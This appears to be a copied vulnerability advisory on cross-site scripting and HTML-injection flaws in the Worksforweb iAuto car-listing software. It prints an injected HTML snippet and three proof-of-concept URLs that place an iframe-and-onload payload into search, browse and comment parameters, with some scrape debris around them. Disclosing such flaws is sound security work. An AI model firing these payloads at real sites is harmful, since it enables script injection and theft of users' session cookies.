45 lines
No EOL
2 KiB
Text
45 lines
No EOL
2 KiB
Text
source: https://www.securityfocus.com/bid/54812/info
|
|
|
|
Worksforweb iAuto is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
|
|
|
|
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
|
|
|
|
Review: Add Comments - Listing
|
|
|
|
<div class="addComment">
|
|
<h1>Reply to The Comment</h1>
|
|
<div class="pageDescription">
|
|
<div class="commentInfo">You are replying to the comment
|
|
#"><iframe src="iAuto%20%20%20Listing%20Comments%20Reply%20to%20The%20Comment-Dateien/[PERSISTENT INJECTED CODE!])'
|
|
<="" to=""
|
|
listing="" #448="" "<span="" class="fieldValue fieldValueYear" height="900" width="1000">2007</span>
|
|
<span class="fieldValue fieldValueMake">Acura</span>
|
|
|
|
|
|
|
|
1.2
|
|
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or highr equired
|
|
user inter action.
|
|
Fo demonstration or reproduce ...
|
|
|
|
String: "><iframe src=http://vuln-lab.com width=1000 height=900 onload=alert("VulnerabilityLab") <
|
|
|
|
Dealer > Search Sellers > City
|
|
|
|
PoC:
|
|
http://www.example.com/iAuto/m/users/search/?DealershipName[equal]=jamaikan-hope23&City[equal]=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+
|
|
width%3D1000+height%3D900+onload%3Dalert%28%22VulnerabilityLab%22%29+%3C&State[equal]=11&action=search
|
|
|
|
|
|
Browse by Make and Model / AC Cobra / >
|
|
|
|
PoC:
|
|
http://www.example.com/iAuto/m/browse-by-make-model/AC+Cobra/%22%3E%3Ciframe%20src=http://vuln-lab.com%20
|
|
width=1000%20height=900%20onload=alert%28%22VulnerabilityLab%22%29%20%3C/
|
|
|
|
|
|
Comments > Reply to The Comment > Topic & Text (commentSid)
|
|
|
|
PoC:
|
|
http://www.example.com/iAuto/m/comment/add/?listingSid=448&commentSid=%22%3E%3Ciframe%20src=http://vuln-lab.com%20width=1000
|
|
%20height=900%20onload=alert%28%22VulnerabilityLab%22%29%20%3C&returnBackUri=%2Flisting%2Fcomments%2F448%2F%3F |